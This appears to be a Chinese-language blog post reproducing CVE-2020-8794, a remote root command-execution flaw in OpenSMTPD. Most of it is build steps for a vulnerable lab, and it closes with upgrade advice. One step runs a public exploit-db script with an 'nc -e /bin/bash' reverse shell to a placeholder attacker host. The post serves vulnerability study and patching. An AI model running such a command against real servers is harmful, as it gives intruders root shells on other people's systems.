CVE-2020-8794:OpenSMTPD远程命令执行漏洞

CVE-2020-8794:OpenSMTPD远程命令执行漏洞

0x00 简介

OpenSMTPD (也称为OpenBSD SMTP服务器)是 OpenBSD 项目的一部分,一个免费的服务器端SMTP协议实现,通过RFC5321定义。

0x01 漏洞概述

CVE-2020-8794 是一个越界读取漏洞,可被远程利用,成功的利用可导致攻击者以 root 身份执行注入到 envelope 文件中的任意命令

0x02 影响版本

OpenSMTPD < 6.6.4p1

0x03 环境搭建

第一步,首先利用apt-get安装一些需要用到的一些工具和组件。
Maybe hints: libevent & libdb not find, you can delete them wihtout any doubt.
apt-get install libevent-dev automake autoconf bison libtool libdb libevent

第二步,手动下载一些需要的工具的源码包并进行编译安装。
安装libasr
Insatll libasr
wget https://www.opensmtpd.org/archives/libasr-1.0.3.tar.gz
tar -zxvf libasr-1.0.3.tar.gz
cd libasr-1.0.3

Maybe You need this step
aclocal
autoconf
autoheader
automake --add-missing
./configure && make && make install

安装libressl
Install libressl
wget https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-3.0.2.tar.gz
tar -zxvf libressl-3.0.2.tar.gz
cd libressl-3.0.2
./config -prefix=/usr/local/lib
make && make install
ldconfig -v

安装zlib
wget http://zlib.net/zlib-1.2.11.tar.gz
tar -zxf zlib-1.2.11.tar.gz
cd zlib-1.2.11/
./configure --prefix=/usr/local
make && make install
安装新版本的openssl
wget https://www.openssl.org/source/snapshot/openssl-1.1.1-stable-SNAP-20200225.tar.gz
tar -zxf openssl-1.1.1-stable-SNAP-20200225.tar.gz
cd openssl-1.1.1-stable-SNAP-20200225
./config shared zlib-dynamic
make dependmake && make test && make install

Update some new files or configures
mv /usr/bin/openssl /usr/bin/openssl.old
mv /usr/include/openssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
echo “/usr/local/ssl/lib” >> /etc/ld.so.conf
ldconfig -v

Check whether the version is updated successfully
openssl version

第三步,安装OpenSMTPD
wget http://www.opensmtpd.org/archives/opensmtpd-6.6.0p1.tar.gz
tar zxf opensmtpd-6.6.0p1.tar.gz
cd opensmtpd-6.6.0p1

The above problems all appear in the following step, good luck.
./configure --with-asr=/usr/local
make && make install

第四步,配置OpenSMTPD
mkdir /var/empty
useradd -c “SMTP Daemon” -d /var/empty -s /sbin/nologin _smtpd
useradd -c “SMTPD Queue” -d /var/empty -s /sbin/nologin _smtpq

Install sendmail
apt-get install sendmail

Important, You should find the right location of your smtpctl.
ln -s /usr/local/sbin/smtpctl sendmail
ln -s /usr/local/sbin/smtpctl send-mail
ln -s /usr/local/sbin/smtpctl mailq
ln -s /usr/local/sbin/smtpctl makemap
ln -s /usr/local/sbin/smtpctl newaliases

Copy the default smtpd.conf.
cp /Your-directory-of-opensmtpd-6.6.0p1/smtpd/smtpd.conf /usr/local/etc/smtpd.conf

第五步,启动OpenSMTPD
Just one word

smtpd

0x04 漏洞检测

下载利用脚本
https://www.exploit-db.com/download/47984
开启监听后,执行脚本
python3 47984.py 127.0.0.1 25 ‘nc -e /bin/bash x.x.x.x 1234’
在这里插入图片描述
getshell
在这里插入图片描述
0x05 修复方式

官方已经发布新版本修复了该漏洞,请受影响的用户尽快升级到新版本进行防护。

参考链接:
https://github.com/OpenSMTPD/OpenSMTPD/releases
https://wiki.freebsdchina.org/doc/o/opensmtpd_intro

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值